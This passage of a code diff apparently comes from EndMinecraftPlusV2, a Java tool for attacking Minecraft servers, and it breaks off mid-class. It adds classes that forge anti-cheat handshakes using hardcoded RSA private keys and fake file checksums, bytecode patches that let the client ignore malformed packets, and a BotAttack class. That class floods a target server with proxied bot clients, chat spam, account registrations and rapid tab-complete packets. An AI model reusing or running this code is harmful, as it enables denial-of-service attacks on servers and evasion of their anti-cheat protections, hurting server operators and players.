forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
|
||||||
|
}
|
||||||
|
|
||||||
|
static class LoginWrapper {
|
||||||
|
private String targetNetworkReceiver;
|
||||||
|
private byte[] payload;
|
||||||
|
|
||||||
|
public LoginWrapper() {}
|
||||||
|
public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
|
||||||
|
this.targetNetworkReceiver = targetNetworkReceiver;
|
||||||
|
this.payload = payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public LoginWrapper fromBytes(byte[] bytes) throws IOException {
|
||||||
|
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
|
||||||
|
this.targetNetworkReceiver = in.readString();
|
||||||
|
this.payload = in.readBytes(in.readVarInt());
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] toBytes() throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput pb = new StreamNetOutput(buf);
|
||||||
|
pb.writeString(targetNetworkReceiver);
|
||||||
|
pb.writeVarInt(payload.length);
|
||||||
|
pb.writeBytes(payload);
|
||||||
|
|
||||||
|
return buf.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTargetNetworkReceiver() {
|
||||||
|
return this.targetNetworkReceiver;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] getPayload() {
|
||||||
|
return this.payload;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,52 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
|
||||||
|
public class MCForgeInject {
|
||||||
|
public static boolean inject() {
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (MCForge.isVersion1710()) {
|
||||||
|
injectPluginMessage();
|
||||||
|
injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
|
||||||
|
"{$1.readBytes($1.available());return;}");
|
||||||
|
injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
|
||||||
|
"read", "{$1.readBytes($1.available());return;}");
|
||||||
|
injectTryCatch("com.github.steveice10.packetlib.packet.PacketProtocol", "createIncomingPacket",
|
||||||
|
"{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
|
||||||
|
} else {
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = classPool.getOrNull("com.github.steveice10.mc.protocol.data.MagicValues");
|
||||||
|
if (ctClass == null)
|
||||||
|
ctClass = classPool.get("com.github.steveice10.mc.protocol.data.game.MagicValues");
|
||||||
|
CtMethod method1 = ctClass.getDeclaredMethod("key");
|
||||||
|
method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||||
|
CtMethod method2 = ctClass.getDeclaredMethod("value");
|
||||||
|
method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||||
|
ctClass.toClass();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
} catch (Exception e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void injectPluginMessage() throws Exception {
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = classPool.get("com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
|
||||||
|
CtMethod method = ctClass.getDeclaredMethod("read");
|
||||||
|
method.setBody("{this.channel=$1.readString();\n"
|
||||||
|
+ "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
|
||||||
|
ctClass.toClass();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void injectTryCatch(String cls, String func, String code) throws Exception {
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = classPool.get(cls);
|
||||||
|
CtMethod method = ctClass.getDeclaredMethod(func);
|
||||||
|
method.addCatch(code, classPool.get("java.lang.Exception"));
|
||||||
|
ctClass.toClass();
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,141 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.google.gson.Gson;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MCForgeMOTD {
|
||||||
|
public Map<String, String> pingGetModsList(String ip, int port, int version) {
|
||||||
|
Map<String, String> modList = new HashMap<String, String>();
|
||||||
|
Socket socket = new Socket();
|
||||||
|
try {
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if(socket.isConnected()) {
|
||||||
|
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
|
||||||
|
|
||||||
|
ByteArrayOutputStream packet = new ByteArrayOutputStream();
|
||||||
|
DataOutputStream packetOut = new DataOutputStream(packet);
|
||||||
|
|
||||||
|
packetOut.writeByte(0); // handshake packet id
|
||||||
|
writeVarInt(packetOut, version); // version
|
||||||
|
writeVarInt(packetOut, ip.length()); // host length
|
||||||
|
packetOut.writeBytes(ip); // host
|
||||||
|
packetOut.writeShort(port); // port
|
||||||
|
writeVarInt(packetOut, 1); // next to status
|
||||||
|
|
||||||
|
writeVarInt(out, packet.size()); // packet length
|
||||||
|
out.write(packet.toByteArray()); // handshake packet
|
||||||
|
|
||||||
|
out.writeByte(1); // packet length
|
||||||
|
out.writeByte(0); // status packet id
|
||||||
|
|
||||||
|
out.flush();
|
||||||
|
|
||||||
|
DataInputStream in = new DataInputStream(socket.getInputStream());
|
||||||
|
readVarInt(in); // packet length
|
||||||
|
int packetID = readVarInt(in);
|
||||||
|
int dataLength = readVarInt(in);
|
||||||
|
|
||||||
|
if (packetID == 0 && dataLength > 0) { // Response
|
||||||
|
byte[] responseData = new byte[dataLength];
|
||||||
|
in.readFully(responseData);
|
||||||
|
Response response = new Gson().fromJson(new String(responseData), Response.class);
|
||||||
|
if (response.modinfo != null) {
|
||||||
|
for (Response.ModInfo.ModID modid : response.modinfo.modList) {
|
||||||
|
modList.put(modid.modid, modid.version);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
try {
|
||||||
|
if (socket.isConnected())
|
||||||
|
socket.close();
|
||||||
|
} catch (IOException e1) {}
|
||||||
|
}
|
||||||
|
return modList;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author thinkofdeath
|
||||||
|
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||||
|
*/
|
||||||
|
public int readVarInt(DataInputStream in) throws IOException {
|
||||||
|
int i = 0;
|
||||||
|
int j = 0;
|
||||||
|
while (true) {
|
||||||
|
int k = in.readByte();
|
||||||
|
|
||||||
|
i |= (k & 0x7F) << j++ * 7;
|
||||||
|
|
||||||
|
if (j > 5)
|
||||||
|
throw new RuntimeException("VarInt too big");
|
||||||
|
|
||||||
|
if ((k & 0x80) != 128)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @throws IOException
|
||||||
|
* @author thinkofdeath
|
||||||
|
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||||
|
*/
|
||||||
|
public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
|
||||||
|
while (true) {
|
||||||
|
if ((paramInt & 0xFFFFFF80) == 0) {
|
||||||
|
out.writeByte(paramInt);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
out.writeByte(paramInt & 0x7F | 0x80);
|
||||||
|
paramInt >>>= 7;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Response {
|
||||||
|
public Object description;
|
||||||
|
public Players players;
|
||||||
|
public Version version;
|
||||||
|
public ModInfo modinfo;
|
||||||
|
|
||||||
|
class Description {
|
||||||
|
public String text;
|
||||||
|
public String translate;
|
||||||
|
|
||||||
|
public String getDescription() {
|
||||||
|
return text != null ? text : translate;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Players {
|
||||||
|
public int max;
|
||||||
|
public int online;
|
||||||
|
}
|
||||||
|
|
||||||
|
class Version {
|
||||||
|
public String name;
|
||||||
|
public int protocol;
|
||||||
|
}
|
||||||
|
|
||||||
|
class ModInfo {
|
||||||
|
public String type;
|
||||||
|
public ModID[] modList;
|
||||||
|
|
||||||
|
class ModID {
|
||||||
|
public String modid;
|
||||||
|
public String version;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.github.steveice10.packetlib.io.NetInput;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class MCForgeUtils {
|
||||||
|
public static int readVarShort(NetInput in) throws IOException {
|
||||||
|
int low = in.readUnsignedShort();
|
||||||
|
int high = 0;
|
||||||
|
if ((low & 0x8000) != 0) {
|
||||||
|
low = low & 0x7FFF;
|
||||||
|
high = in.readUnsignedByte();
|
||||||
|
}
|
||||||
|
return ((high & 0xFF) << 15) | low;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static UnknownPacket createUnknownPacket() {
|
||||||
|
try {
|
||||||
|
return UnknownPacket.class.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,20 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.github.steveice10.packetlib.io.NetInput;
|
||||||
|
import com.github.steveice10.packetlib.io.NetOutput;
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class UnknownPacket implements Packet {
|
||||||
|
public boolean isPriority() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void read(NetInput in) throws IOException {
|
||||||
|
in.readBytes(in.available());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void write(NetOutput out) {
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,103 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol;
|
||||||
|
|
||||||
|
import io.netty.buffer.ByteBuf;
|
||||||
|
import io.netty.buffer.ByteBufInputStream;
|
||||||
|
import io.netty.buffer.ByteBufOutputStream;
|
||||||
|
import io.netty.buffer.Unpooled;
|
||||||
|
import org.spacehq.opennbt.NBTIO;
|
||||||
|
import org.spacehq.opennbt.tag.builtin.ByteArrayTag;
|
||||||
|
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||||
|
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.KeyFactory;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.security.spec.RSAPrivateKeySpec;
|
||||||
|
import java.security.spec.RSAPublicKeySpec;
|
||||||
|
import java.util.HashSet;
|
||||||
|
|
||||||
|
public class AnotherStarAntiCheat {
|
||||||
|
private final RSAPublicKeySpec clientPublicKey;
|
||||||
|
private final RSAPrivateKeySpec clientPrivateKey;
|
||||||
|
private final RSAPrivateKeySpec serverPrivateKey;
|
||||||
|
private final Cipher clientPublicCipher;
|
||||||
|
private final Cipher clientPrivateCipher;
|
||||||
|
|
||||||
|
{
|
||||||
|
clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
|
||||||
|
clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
|
||||||
|
serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
|
||||||
|
|
||||||
|
try {
|
||||||
|
(clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
|
||||||
|
(clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ctsEncode(ByteBuf buf, byte[][] md5s) {
|
||||||
|
try {
|
||||||
|
CompoundTag nbt = new CompoundTag("");
|
||||||
|
ListTag strList = new ListTag("md5s", ByteArrayTag.class);
|
||||||
|
for (final byte[] md5 : md5s) {
|
||||||
|
strList.add(new ByteArrayTag("", md5));
|
||||||
|
}
|
||||||
|
nbt.put(strList);
|
||||||
|
NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] stcDecode(ByteBuf buf) {
|
||||||
|
try {
|
||||||
|
CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf)));
|
||||||
|
return ((ByteArrayTag) nbt.get("salt")).getValue();
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] encodeCPacket(String[] md5s, String salt) {
|
||||||
|
try {
|
||||||
|
HashSet<byte[]> rsaMd5s = new HashSet<byte[]>();
|
||||||
|
for (String md5 : md5s) {
|
||||||
|
rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuf buf = Unpooled.buffer();
|
||||||
|
buf.writeByte(1); // packet id
|
||||||
|
ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
|
||||||
|
return buf.array();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String decodeSPacket(byte[] data) {
|
||||||
|
try {
|
||||||
|
ByteBuf buf = Unpooled.copiedBuffer(data);
|
||||||
|
buf.readByte(); // packet id
|
||||||
|
return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String md5(String str) {
|
||||||
|
try {
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
md.update(str.getBytes());
|
||||||
|
byte[] digest = md.digest();
|
||||||
|
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||||
|
} catch (NoSuchAlgorithmException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,81 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
|
public class AntiCheat3 {
|
||||||
|
|
||||||
|
public byte[] getCheckData(String acFile, String code, String[] md5List) {
|
||||||
|
try {
|
||||||
|
byte[] buf1 = code.substring(0, 30).getBytes();
|
||||||
|
|
||||||
|
FileInputStream in = new FileInputStream(new File("lib", acFile));
|
||||||
|
byte[] buf2 = new byte[in.available()];
|
||||||
|
in.read(buf2);
|
||||||
|
|
||||||
|
byte[] buf3 = new byte[buf1.length + buf2.length];
|
||||||
|
System.arraycopy(buf1, 0, buf3, 0, buf1.length);
|
||||||
|
System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
|
||||||
|
|
||||||
|
try {
|
||||||
|
in.close();
|
||||||
|
} catch (IOException e2) {
|
||||||
|
}
|
||||||
|
|
||||||
|
String result = "";
|
||||||
|
if (md5List != null) {
|
||||||
|
for (String md5 : md5List) {
|
||||||
|
result += md5 + ",";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result += md5(buf3);
|
||||||
|
return compress(result);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] compress(String str) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPOutputStream gzip;
|
||||||
|
try {
|
||||||
|
gzip = new GZIPOutputStream(out);
|
||||||
|
gzip.write(str.getBytes());
|
||||||
|
gzip.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String uncompress(byte[] data) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(data);
|
||||||
|
try {
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} catch (IOException e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
return new String(out.toByteArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
public String md5(byte[] buf) {
|
||||||
|
try {
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
md.update(buf);
|
||||||
|
byte[] digest = md.digest();
|
||||||
|
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||||
|
} catch (NoSuchAlgorithmException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,374 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||||
|
import io.netty.util.internal.ConcurrentSet;
|
||||||
|
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||||
|
import org.spacehq.mc.protocol.data.message.Message;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||||
|
import org.spacehq.packetlib.Client;
|
||||||
|
import org.spacehq.packetlib.Session;
|
||||||
|
import org.spacehq.packetlib.event.session.*;
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Proxy;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.concurrent.ExecutorService;
|
||||||
|
import java.util.concurrent.Executors;
|
||||||
|
|
||||||
|
public class BotAttack extends IAttack {
|
||||||
|
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||||
|
public static int failed = 0;
|
||||||
|
public static int joined = 0;
|
||||||
|
public static int rejoin = 0;
|
||||||
|
public static int clickVerifies = 0;
|
||||||
|
public static List<String> alivePlayers = new ArrayList<>();
|
||||||
|
protected boolean attack_motdbefore;
|
||||||
|
protected boolean attack_tab;
|
||||||
|
protected Map<String, String> modList;
|
||||||
|
|
||||||
|
private Thread mainThread;
|
||||||
|
private Thread tabThread;
|
||||||
|
private Thread taskThread;
|
||||||
|
|
||||||
|
public Set<Client> clients = new ConcurrentSet<>();
|
||||||
|
public ExecutorService pool = Executors.newCachedThreadPool();
|
||||||
|
|
||||||
|
private static final AntiCheat3 ac3 = new AntiCheat3();
|
||||||
|
private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||||
|
|
||||||
|
private long starttime;
|
||||||
|
|
||||||
|
public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> modList) {
|
||||||
|
this.attack_motdbefore = motdbefore;
|
||||||
|
this.attack_tab = tab;
|
||||||
|
this.modList = modList;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getRandMessage(String userName) {
|
||||||
|
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
setTask(() -> {
|
||||||
|
while (true) {
|
||||||
|
for (Client c : clients) {
|
||||||
|
if (c.getSession().isConnected()) {
|
||||||
|
if (c.getSession().hasFlag("login")) {
|
||||||
|
if (ConfigUtil.ChatSpam) {
|
||||||
|
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||||
|
} else if (c.getSession().hasFlag("join")) {
|
||||||
|
if (ConfigUtil.RegisterAndLogin) {
|
||||||
|
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||||
|
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||||
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.getSession().setFlag("login", true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
OtherUtils.doSleep(5 * 1000);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
this.starttime = System.currentTimeMillis();
|
||||||
|
|
||||||
|
mainThread = new Thread(() -> {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
cleanClients();
|
||||||
|
createClients(ip, port);
|
||||||
|
OtherUtils.doSleep(10 * 1000);
|
||||||
|
|
||||||
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
|
for (Client c : clients) {
|
||||||
|
c.getSession().disconnect("");
|
||||||
|
}
|
||||||
|
stop();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (this.attack_tab) {
|
||||||
|
tabThread = new Thread(() -> {
|
||||||
|
while (true) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||||
|
|
||||||
|
for (Client c : clients) {
|
||||||
|
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
|
||||||
|
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(10);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
mainThread.start();
|
||||||
|
if (tabThread != null)
|
||||||
|
tabThread.start();
|
||||||
|
if (taskThread != null)
|
||||||
|
taskThread.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public void stop() {
|
||||||
|
mainThread.stop();
|
||||||
|
if (tabThread != null)
|
||||||
|
tabThread.stop();
|
||||||
|
if (taskThread != null)
|
||||||
|
taskThread.stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setTask(Runnable task) {
|
||||||
|
taskThread = new Thread(task);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void cleanClients() {
|
||||||
|
clients.removeIf(c -> !c.getSession().isConnected());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void createClients(final String ip, int port) {
|
||||||
|
Proxy.Type proxyType;
|
||||||
|
switch (ConfigUtil.ProxyType) {
|
||||||
|
case 2:
|
||||||
|
proxyType = Proxy.Type.SOCKS;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
default:
|
||||||
|
proxyType = Proxy.Type.HTTP;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String p: ProxyUtil.proxies) {
|
||||||
|
try {
|
||||||
|
String[] _p = p.split(":");
|
||||||
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
|
Client client = createClient(ip, port, User[0], proxy);
|
||||||
|
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
||||||
|
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
||||||
|
clientName.put(client, User[0]);
|
||||||
|
clients.add(client);
|
||||||
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||||
|
|
||||||
|
if (this.attack_motdbefore) {
|
||||||
|
pool.submit(() -> {
|
||||||
|
getMotd(proxy, ip, port);
|
||||||
|
client.getSession().connect(false);
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
client.getSession().connect(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
|
||||||
|
return;
|
||||||
|
if (this.attack_joinsleep > 0)
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Client createClient(final String ip, int port, final String username, Proxy proxy) {
|
||||||
|
Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
|
||||||
|
new MCForge(client.getSession(), this.modList).init();
|
||||||
|
|
||||||
|
client.getSession().addListener(new SessionListener() {
|
||||||
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
|
handlePacket(e.getSession(), e.getPacket(), username);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void packetSent(PacketSentEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connected(ConnectedEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnecting(DisconnectingEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
